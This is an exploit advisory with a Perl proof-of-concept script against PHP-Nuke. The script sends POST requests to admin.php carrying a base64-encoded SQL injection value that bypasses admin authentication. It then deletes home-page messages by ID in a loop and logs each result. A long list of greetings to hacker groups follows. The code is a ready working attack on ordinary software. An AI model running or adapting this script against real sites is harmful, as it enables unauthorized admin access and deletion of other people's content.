phpSQLnuke.pl

`  
  
[XSS]/SQL Injection PHP-Nuke Delete Message(s) Bug by bima_  
  
Php-Nuke is a popular freeware content management system.  
Based on information at :  
http://www.mantralab.org/modules.php/modulo/news/lanotizia/%5BXSS%5D+PHP-Nuke+7.4+Add+Message+Bug  
  
An attacker permitted to post to global home-page messages.  
  
I found that we can delete message(s) too.  
  
I wrote a little perl script to prove it, i used POST method.  
  
Here it is :  
  
******cut here**************  
#!/usr/bin/perl  
#  
  
use LWP;   
  
$log = "pos_phpnuke_deletemsg.txt";   
$Agent = "Mbahmu/1.0";  
$proxy = "http://172.9.1.11:80/"; # proxy:port ...  
$browser = LWP::UserAgent->new;  
$browser -> agent($Agent);  
  
$url = 'http://www.sitewithphpnuke.com/admin.php';  
  
$browser->proxy(http => $proxy) if defined($proxy);  
  
printlog ("\nProcessing: $url\n");  
  
for ($a = 1; $a < 11 ; $a++) {  
  
$mid=$a;  
  
$loginpost = $url;  
$loginrequest = HTTP::Request->new(POST => $loginpost);  
$loginrequest->content_type('application/x-www-form-urlencoded');  
$loginsend =   
'mid='.$mid.  
'&ok=1'.  
'&admin=eCcgVU5JT04gU0VMRUNUIDEvKjox'.  
'&add_radminsuper=1'.  
'&op=deletemsg';  
$loginrequest->content-length($loginsend);  
$loginrequest->content($loginsend);  
$loginresponse = $browser->request($loginrequest);  
$logincek = $loginresponse->as_string;  
#print ($logincek);  
  
  
if ($logincek =~ /(500 Can\'t read entity body\: Unknown error)|(411 Length Required)/){  
printlog ("$mid attempting delete message sending OK ".$loginresponse->status_line ."\n") ;  
}  
else {  
printlog ("$mid could be failure ".$loginresponse->status_line ."\n");  
last;  
}  
  
} #end of for  
  
sub printlog {  
print @_[0];   
open(lo,">>$log");  
print lo @_[0];  
close(lo);  
return;  
}  
******cut here**************  
  
----------------------------------------------------------  
  
*very very very special greetz to:  
[+][+][+] my beloved anna [+][+][+]  
  
*shout to dhanny firman syah : keep fighting, bro...  
  
*special greetz to:   
[+] www.neoteker.or.id  
[+] www.echo.or.id  
[+] www.bosen.net  
[+] qq  
[+] tiyox  
[+] bosen  
[+] ftp_geo  
[+] tiong  
[+] all #1stlink #neoteker #e-c-h-o #batamhacker #kartubeben #antihackerlink crew @ dal net  
[+] all #1stlink #romance #hackers @ centrin  
[+] sj, alphacentupret, boeboe, fuzk3 kendi  
[+] y3d1ps, z3r0byt3, biatch-x, K-159  
  
*contact:  
[+] [email protected]  
[+] www.geocities.com/iko94  
[+] www.neoteker.or.id  
  
[EOF]  
`